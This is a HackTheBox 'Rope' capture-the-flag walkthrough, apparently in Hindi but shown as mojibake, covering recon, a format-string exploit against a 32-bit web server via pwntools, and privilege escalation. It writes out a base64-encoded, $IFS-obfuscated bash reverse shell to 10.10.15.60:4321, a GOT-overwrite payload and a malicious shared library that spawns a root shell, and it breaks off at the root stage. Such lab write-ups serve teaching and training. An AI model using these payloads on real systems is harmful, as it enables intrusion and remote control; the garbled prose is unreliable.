рдмреЙрдХреНрд╕ рдХреЛ рд╣реИрдХ рдХрд░реЗрдВред рд╡реЙрдХрдереНрд░реВ рд░реЛрдкред PWNред рд╕реНрд╡рд░реВрдкрдг рдФрд░ ROP pwntools рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░

рдЫрд╡рд┐

рдореИрдВ HackTheBox рд╕рд╛рдЗрдЯ рд╕реЗ рдЖрдЧреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рднреЗрдЬреЗ рдЧрдП рд╕рдорд╛рдзрд╛рди рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░рдирд╛ рдЬрд╛рд░реА рд░рдЦрддрд╛ рд╣реВрдВ ред

рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рд╣рдо рдХрдИ pwn рдПрдХрддреНрд░ рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рдиреНрд╣реЗрдВ рд╣рдо pwntools рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╣рд▓ рдХрд░реЗрдВрдЧреЗред рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдЗрд╕ рд╡рд┐рд╖рдп рдореЗрдВ рдЬрд╛рдЧрд░реВрдХрддрд╛ рдХреЗ рдХрд┐рд╕реА рднреА рд╕реНрддрд░ рдХреЗ рд╕рд╛рде рдкрд╛рдардХреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛрдЧрд╛ред рдЪрд▓реЛ рдЪрд▓рддреЗ рд╣реИрдВ ...

рдкреНрд░рдпреЛрдЧрд╢рд╛рд▓рд╛ рдХреЗ рд▓рд┐рдП рдХрдиреЗрдХреНрд╢рди рд╡реАрдкреАрдПрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реИред рдпрд╣ рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рдХрд┐рд╕реА рдХрд╛рд░реНрдп рдХрдВрдкреНрдпреВрдЯрд░ рд╕реЗ рдпрд╛ рдХрд┐рд╕реА рд╣реЛрд╕реНрдЯ рд╕реЗ рдХрдиреЗрдХреНрдЯ рди рдХрд░реЗрдВ рдЬрд╣рд╛рдВ рдЖрдкрдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рдбреЗрдЯрд╛ рдЙрдкрд▓рдмреНрдз рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рдирд┐рдЬреА рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рд╕реВрдЪрдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдХреБрдЫ рдЬрд╛рдирддреЗ рд╣реИрдВ :)

рд╕рдВрдЧрдардирд╛рддреНрдордХ рдЬрд╛рдирдХрд╛рд░реА
, , Telegram . , , .

. , - , .

рдЯреЛрд╣


рдЗрд╕ рдорд╢реАрди рдХрд╛ рдЖрдИрдкреА рдПрдбреНрд░реЗрд╕ 10.10.10.148 рд╣реИ, рдЬрд┐рд╕реЗ рдореИрдВ / etc / рдореЗрдЬрдмрд╛рдиреЛрдВ рдореЗрдВ рдЬреЛрдбрд╝рддрд╛ рд╣реВрдБред

10.10.10.148    rope.htb

рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╣рдо рдЦреБрд▓реЗ рдмрдВрджрд░рдЧрд╛рд╣реЛрдВ рдХреЛ рд╕реНрдХреИрди рдХрд░рддреЗ рд╣реИрдВред рдЪреВрдВрдХрд┐ рдиреИрдореНрдк рдХреЗ рд╕рд╛рде рд╕рднреА рдмрдВрджрд░рдЧрд╛рд╣реЛрдВ рдХреЛ рд╕реНрдХреИрди рдХрд░рдиреЗ рдореЗрдВ рд▓рдВрдмрд╛ рд╕рдордп рд▓рдЧрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдореИрдВ рдЗрд╕реЗ рдкрд╣рд▓реЗ рдореИрд╕рдХреИрди рдХреЗ рд╕рд╛рде рдХрд░реВрдВрдЧрд╛ред рд╣рдо рдкреНрд░рддрд┐ рд╕реЗрдХрдВрдб 500 рдкреИрдХреЗрдЯ рдХреА рдЧрддрд┐ рд╕реЗ tun0 рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рд╕реЗ рд╕рднреА рдЯреАрд╕реАрдкреА рдФрд░ рдпреВрдбреАрдкреА рдкреЛрд░реНрдЯ рдХреЛ рд╕реНрдХреИрди рдХрд░рддреЗ рд╣реИрдВред

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.148 --rate=500

рдЫрд╡рд┐

рдЕрдм, рдмрдВрджрд░рдЧрд╛рд╣реЛрдВ рдкрд░ рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓реА рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рд╡рд┐рд╕реНрддреГрдд рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП, рд╣рдо -рдП рд╡рд┐рдХрд▓реНрдк рдХреЗ рд╕рд╛рде рдПрдХ рд╕реНрдХреИрди рдЪрд▓рд╛рдПрдВрдЧреЗред

nmap -A rope.htb -p22,9999

рдЫрд╡рд┐

рд╣реЛрд╕реНрдЯ SSH рдФрд░ рдПрдХ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдЪрд▓рд╛рддрд╛ рд╣реИред рд╣рдо рд╡реЗрдм рдкрд░ рдЬрд╛рдПрдВрдЧреЗ рдФрд░ рд╣рдореЗрдВ рдПрдХ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдлрд╝реЙрд░реНрдо рджреНрд╡рд╛рд░рд╛ рдкреВрд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред

рдЫрд╡рд┐

рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рд╕реНрдХреИрди рджреЗрдЦрдиреЗ рдкрд░, рд╣рдореЗрдВ рдПрдХ рдЗрдВрдбреЗрдХреНрд╕реЗрдб рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА / (http: //rope.htb: 9999 //) рдорд┐рд▓рддреА рд╣реИред

рдЫрд╡рд┐

рдФрд░ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ / рдСрдкреНрдЯ / www рдореЗрдВ рд╣рдо рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдвреВрдВрдврддреЗ рд╣реИрдВ - рдпрд╣ рд╣рдорд╛рд░рд╛ рд╡реЗрдм рд╕рд░реНрд╡рд░ рд╣реИред

рдЫрд╡рд┐

HTTPserver PWN


рдЗрд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рджреЗрдЦреЗрдВ рдХрд┐ рдЪреЗрдХрд╕реЗрдХ рдХреЗ рд╕рд╛рде рдХреНрдпрд╛ рд╕реБрд░рдХреНрд╖рд╛ рд╣реИред

рдЫрд╡рд┐

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рд╕рднреА рд╕рдХреНрд░рд┐рдп рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд╕рд╛рде рдПрдХ 32-рдмрд┐рдЯ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╣реИ, рдЕрд░реНрдерд╛рддреН:

  • NX (not execute) тАФ , , , ( ) , , , . .
  • ASLR: (libc), libc. ret2libc.
  • PIE: , ASLR, , . .
  • Canary: , , . , . .

рдЗрд╕ рддрдереНрдп рдХреЗ рдХрд╛рд░рдг рдХрд┐ рд╣рдо рд╕рд░реНрд╡рд░ рдкрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ, рд╣рдо рдЗрд╕ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдорд╛рдирдЪрд┐рддреНрд░ рдХреЛ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рд╣рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреНрд░рд╢реНрдиреЛрдВ рдХрд╛ рдЙрддреНрддрд░ рджреЗрдЧрд╛:

  1. рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХрд┐рд╕ рдкрддреЗ рдкрд░ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ?
  2. рдФрд░ рдХрд┐рд╕ рдкрддреЗ рдкрд░ рдЙрд╕рдХреЗ рджреНрд╡рд╛рд░рд╛ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдП рдЧрдП рдкреБрд╕реНрддрдХрд╛рд▓рдп рд╣реИрдВ?

рдЪрд▓реЛ рдХрд░рддреЗ рд╣реИрдВред

curl "http://rope.htb:9999//proc/self/maps" -H 'Range: bytes=0-100000'

рдЫрд╡рд┐

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рджреЛ рдкрддреЗ рд╣реИрдВ: 0x56558000 рдФрд░ f7ddc000ред рдЙрд╕реА рд╕рдордп, рд╣рдо рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП libc рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рд▓рд┐рдП рдкрде рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ, рдЗрд╕реЗ рднреА рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВред рдЕрдм рдкрд╛рдпрд╛ рдЧрдпрд╛ рд╕рдм рдХреБрдЫ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрддреЗ рд╣реБрдП, рд╣рдо рдПрдХ рд╢реЛрд╖рдг рдЯреЗрдореНрдкрд▓реЗрдЯ рдмрдирд╛рдПрдВрдЧреЗред

from pwn import *
import urllib
import base64

host = 'rope.htb'
port = 9999

context.arch = 'i386'
binary= ELF('./httpserver')
libc = ELF('./libc-2.27.so')
bin_base = 0x56558000 
libc_base = 0xf7ddc000

рдЕрдм рдЖрдк рдХреЗ рд▓рд┐рдП рдПрдХ disassembler рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ (рдПрдХ decompiler рдХреЗ рд╕рд╛рде) рдореЗрдВ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд▓рд┐рдП рдлрд╝рд╛рдЗрд▓ рд╣реА рдЦреЛрд▓реЗрдВред рдореИрдВ рдкреНрд▓рдЧрдЗрдиреНрд╕ рдХрд╛ рдПрдХ рдЧреБрдЪреНрдЫрд╛ рдХреЗ рд╕рд╛рде рдЖрдИрдбреАрдП рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реВрдВ, рдФрд░ рдПрдХ рдЧрд╣рди рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рд▓рд┐рдП рдмреИрдардиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдореИрдВ рд╣рд░ рдЙрд╕ рдЪреАрдЬ рдХреЛ рджреЗрдЦрдирд╛ рдкрд╕рдВрдж рдХрд░рддрд╛ рд╣реВрдВ рдЬрд┐рд╕реЗ рдореИрдВ рд╕рд╛рдмрд┐рдд рдкреНрд▓рдЧрдЗрдиреНрд╕ рдПрдХрддреНрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реВрдВред рдРрд╕реЗ рдХрдИ рд▓реЛрдЧреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИ рд▓реЗрдЬреАрдбрд╛ ред рдФрд░ рдХреНрд╡реЗрд░реА "рд╕реНрдХреИрди рдкреНрд░рд╛рд░реВрдк рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╡реЙрди" рдХреЗ рд▓рд┐рдП рд╣рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдХрдордЬреЛрд░ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдкреНрд▓реЗрдЯ рдорд┐рд▓рддреА рд╣реИред

рдЫрд╡рд┐

рдЗрд╕ рдкреНрд▓рдЧрдЗрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдЕрдиреБрднрд╡ рд╕реЗ, рдореИрдВрдиреЗ рддреБрд░рдВрдд рджреВрд╕рд░реА рдкрдВрдХреНрддрд┐ (рдЗрд╕рдХреЗ рдкреНрд░рд╛рд░реВрдк рдкреИрд░рд╛рдореАрдЯрд░) рдкрд░ рдзреНрдпрд╛рди рдЖрдХрд░реНрд╖рд┐рдд рдХрд┐рдпрд╛ред рд╣рдо рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдЙрдкрдпреЛрдЧ рдХреА рдЬрдЧрд╣ рд╕реЗ рдЧреБрдЬрд░рддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рд╡рд┐рдШрдЯрд┐рдд рдХрд░рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдФрд░ рдЕрдиреБрдорд╛рдиреЛрдВ рдХреА рдкреБрд╖реНрдЯрд┐ рдХреА рдЬрд╛рддреА рд╣реИ, рд▓рд╛рдЗрди рдХреЛ рдмрд╕ рдкреНрд░рд┐рдВрдЯрдл рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЖрдЗрдП рдЬрд╛рдиреЗрдВ рдпрд╣ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреНрдпрд╛ рд╣реИред рдХреЙрд▓ рдХреЗ рд╕реНрдерд╛рди рдкрд░ log_access рдлрд╝рдВрдХреНрд╢рди рдкрд░ рдЬрд╛рдПрдВред

рдЫрд╡рд┐

рддреЛ рд╣рдо рддреАрд╕рд░реЗ рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ, рдЬреЛ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдЖрдИрдбреАрдП рдХреЛ рдЪрд┐рд╣реНрдирд┐рдд рдХрд░ рд░рд╣рд╛ рдерд╛ред рдФрд░ рд╣рдореЗрдВ рдЗрд╕ рдЪрд░ рдХреЗ рдХреНрд░реЙрд╕-рд░реЗрдлрд░реЗрдВрд╕ рдХреЛ рджреЗрдЦрдХрд░ рд╣реА рд╕рднреА рд╕рд╡рд╛рд▓реЛрдВ рдХреЗ рдЬрд╡рд╛рдм рдорд┐рд▓рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдпрд╣ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдВрдХреЗрддрдХ рд╣реИ - рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо рдЬреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЦреЛрд▓рд╛ рдЧрдпрд╛ рд╣реИред рдЪреВрдВрдХрд┐ рдпрд╣ рдЪрд░ parse_request () рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╣реИ, рдлрд╝рд╛рдЗрд▓ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЦреЛрд▓реА рдЧрдИ рд╣реИ, рдФрд░ рд╕рдВрдкреВрд░реНрдг рдкреНрд░реЛрдЧреНрд░рд╛рдо рдПрдХ рд╡реЗрдм рд╕рд░реНрд╡рд░ рд╣реИ, рд╣рдо рдорд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рд╕рд░реНрд╡рд░ рдкрд░ рдЕрдиреБрд░реЛрдзрд┐рдд рдкреГрд╖реНрда рд╣реИред

curl http://127.0.0.1:9999/qwerty

рдЫрд╡рд┐

рдЖрдЗрдП рдкреНрд░рд╛рд░реВрдк рд╕реНрдЯреНрд░рд┐рдВрдЧ рднреЗрджреНрдпрддрд╛ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*100)')

рдЫрд╡рд┐

рдареАрдХ! рдЖрдЗрдП рдСрдлрд╕реЗрдЯ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреЗ рд╣реИрдВ (рдЖрдЙрдЯрдкреБрдЯ рдХреЗ рдЕрдВрдд рдореЗрдВ 0x41414141 - AAAA рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рддрдиреЗ% p рд╡рд┐рдирд┐рд░реНрджреЗрд╢рдХ рднреЗрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ)ред

рдЫрд╡рд┐

рд╣рдореЗрдВ 53 рдорд┐рд▓рддреЗ рд╣реИрдВред рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рд╕рдм рдХреБрдЫ рд╕рд╣реА рд╣реИред

curl http://127.0.0.1:9999/$(python -c 'print("AAAA"+"%25p"*53)')

рдЫрд╡рд┐

рд╣рдореЗрдВ рдПрдХ рд╕реНрдерд╛рдиреАрдп рд╢реЗрд▓ рдирд╣реАрдВ рдорд┐рд▓ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╣рдо рдПрдХ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдлреЗрдВрдХреЗрдВ:

bash -i >& /dev/tcp/10.10.15.60/4321 0>&1

рд▓реЗрдХрд┐рди рдХрд┐рд╕реА рднреА рдЕрд╕рд╣рдЬ рдЪрд░рд┐рддреНрд░ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдЗрд╕реЗ рдмреЗрд╕ 64 рдореЗрдВ рдПрдиреНрдХреЛрдб рдХрд░реЗрдВрдЧреЗ, рдлрд┐рд░ рд╢реЗрд▓ рдХреЙрд▓ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦреЗрдЧрд╛:

echo тАЬYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEKтАЭ | base64 -d | bash -i

рдФрд░ рдЕрдВрдд рдореЗрдВ, рд╕рднреА рд░рд┐рдХреНрдд рд╕реНрдерд╛рди рдХреЛ $ IFS рдирд┐рд░реНрдорд╛рдг рдХреЗ рд╕рд╛рде рдмрджрд▓реЗрдВред рд╣рдореЗрдВ рд╡рд╣ рдХрдорд╛рдВрдб рдорд┐рд▓рддреА рд╣реИ рдЬрд┐рд╕реЗ рдЖрдкрдХреЛ рдмреИрдХ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред

echo$IFS"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS42MC80MzIxIDA+JjEK"|base64$IFS-d|bash$IFS-i

рдЖрдЗрдП рдЗрд╕реЗ рдХреЛрдб рдореЗрдВ рдЬреЛрдбрд╝реЗрдВ:

offset = 53
cmd = 'bash -i >& /dev/tcp/10.10.15.60/4321 0>&1'
shell = 'echo$IFS"{}"|base64$IFS-d|bash$IFS-i'.format(base64.b64encode(cmd))

рдЕрдм рд╣рдорд╛рд░реЗ рд╕реНрд╡рд░реВрдк рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкрд░ рд╡рд╛рдкрд╕ рдЬрд╛рдПрдБред рдЪреВрдВрдХрд┐ рдкреБрдЯрдл рдХреЛ рдкреНрд░рд┐рдВрдЯрдл () рдХреЗ рдмрд╛рдж рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╣рдо рдЬреАрдУрдЯреА рдореЗрдВ рдЗрд╕рдХреЗ рдкрддреЗ рдХреЛ рд▓рд┐рдмреЗрдХ рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрддреЗ рдкрд░ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВред Pwntools рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж, рдпрд╣ рдХрд░рдирд╛ рдмрд╣реБрдд рдЖрд╕рд╛рди рд╣реИред рдорд╛рди рд▓реЗрдВ рдХрд┐ рдЖрдк рдмрд╛рдЗрдирд░реА рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд░рд┐рд╢реНрддреЗрджрд╛рд░ рдХреЗ рдкрддреЗ рдХреЛ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред ['рдкреБрдЯреНрд╕'], рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рд╛рде рднреА рдЖрд╕рд╛рдиреА рд╕реЗ: libc.symbols ['system'] рдлрд╝рдВрдХреНрд╢рдиред рдкреНрд░рд╛рд░реВрдк рд▓рд╛рдЗрдиреЛрдВ рдФрд░ GOT рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдореИрдВрдиреЗ pwn рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд▓реЗрдЦреЛрдВ рдореЗрдВ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рд╡рд░реНрдгрди рдХрд┐рдпрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣рд╛рдВ рд╣рдо рдмрд╕ pwntools рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рд╛рд░реВрдк рд░реЗрдЦрд╛ рдПрдХрддреНрд░ рдХрд░рддреЗ рд╣реИрдВ:

writes = {(elf_base + binary.got['puts']): (libc_base + libc.symbols['system'])}
format_string = fmtstr_payload(offset, writes)

рд╣рдо рдЕрдВрддрд┐рдо рдкреЗрд▓реЛрдб рдПрдХрддреНрд░ рдХрд░рддреЗ рд╣реИрдВ:

payload = shell + " /" + urllib.quote(format_string) + "\n\n"

рд╣рдо рдХрдиреЗрдХреНрдЯ рдФрд░ рднреЗрдЬрддреЗ рд╣реИрдВ:

p = remote(host,port)
p.send(payload)
p.close()

рдкреВрд░рд╛ рдХреЛрдб рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддрд╛ рд╣реИред

рдЫрд╡рд┐

рдЖрдЗрдП рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ рдФрд░ рдмреИрдХрдХрдиреЗрдХреНрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВред

рдЫрд╡рд┐

рдЫрд╡рд┐

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛


рдЪрд▓реЛ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рдмрд┐рдирд╛ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП sudo рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдФрд░ рд╣рдо рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ r4j рдХреА рдУрд░ рд╕реЗ рд░реАрдбрд▓реЙрдЧ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЖрд╡реЗрджрди рдореЗрдВ рдХреЛрдИ рднреЗрджреНрдпрддрд╛ рдирд╣реАрдВ рд╣реИ, GTFOBins рднреА рдЕрдиреБрдкрд╕реНрдерд┐рдд рд╣реИрдВред рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкреБрд╕реНрддрдХрд╛рд▓рдпред

рдЫрд╡рд┐

ls -l /lib/x86_64-linux-gnu/ | grep "liblog.so\|libc.so.6"

рдЫрд╡рд┐

рдпрд╣реА рд╣реИ, рд╣рдо рдЗрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВред рдЪрд▓реЛ рд╣рдорд╛рд░реА рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд▓рд┐рдЦреЛред

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>

void printlog(){
    setuid(0);
    setgid(0);
    system("/bin/sh");
}

рдЕрдм рдЗрд╕реЗ рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВред

gcc -c -Wall -Werror -fpic liblog.c

рдФрд░ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдЗрдХрдЯреНрдард╛ред

Gcc -shared -o liblog.so liblog.o

рдлрд┐рд░ рд╣рдо рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╣реЛрд╕реНрдЯ рдкрд░ рдЕрдкрд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВ, рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рддреЛ рд╣рдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЗрддреЗ рд╣реИрдВред

рдЬрдбрд╝


рд╕рд┐рд╕реНрдЯрдо рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдо рдЕрд▓рд╕реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдЗрд╕рд▓рд┐рдП рд▓реЛрдХрд▓рд╣реЛрд╕реНрдЯ рдкрд░, рдкреЛрд░реНрдЯ 1337 рд╕реБрди рд░рд╣рд╛ рд╣реИред

рдЫрд╡рд┐

рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рд╣рдорд╛рд░рд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рд╡реЗрд╢ рд╕рдореВрд╣ рдХрд╛ рд╕рджрд╕реНрдп рд╣реИред рдЖрдЗрдП рдЗрд╕ рд╕рдореВрд╣ рдХреЗ рд▓рд┐рдП рдЙрдкрд▓рдмреНрдз рдлрд╛рдЗрд▓реЛрдВ рдкрд░ рдПрдХ рдирдЬрд░ рдбрд╛рд▓реЗрдВред

рдЫрд╡рд┐

рдПрдХ рджрд┐рд▓рдЪрд╕реНрдк рдлрд╛рдЗрд▓ рд╣реИред рдФрд░ рдпрд╣ рд╡рд╣ рдкреНрд░реЛрдЧреНрд░рд╛рдо рд╣реИ рдЬреЛ рдкреЛрд░реНрдЯ рдкрд░ рд╕реБрдирддрд╛ рд╣реИред

рдЫрд╡рд┐

рдЗрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ, рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд░реВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рддрд╛ рд╣реИред

рдЫрд╡рд┐

рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдФрд░ рд╕реНрд╡рдпрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд▓рд╛рдпрдмреНрд░реЗрд░реА рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВред рдФрд░ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдПрдПрд╕рдПрд▓рдЖрд░ рдореЗрдЬрдмрд╛рди рдкрд░ рд╕рдХреНрд░рд┐рдп рд╣реИред

рдЫрд╡рд┐

рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдЖрд╡реЗрджрди рдореЗрдВ рдХреНрдпрд╛ рд╕реБрд░рдХреНрд╖рд╛ рд╣реИред

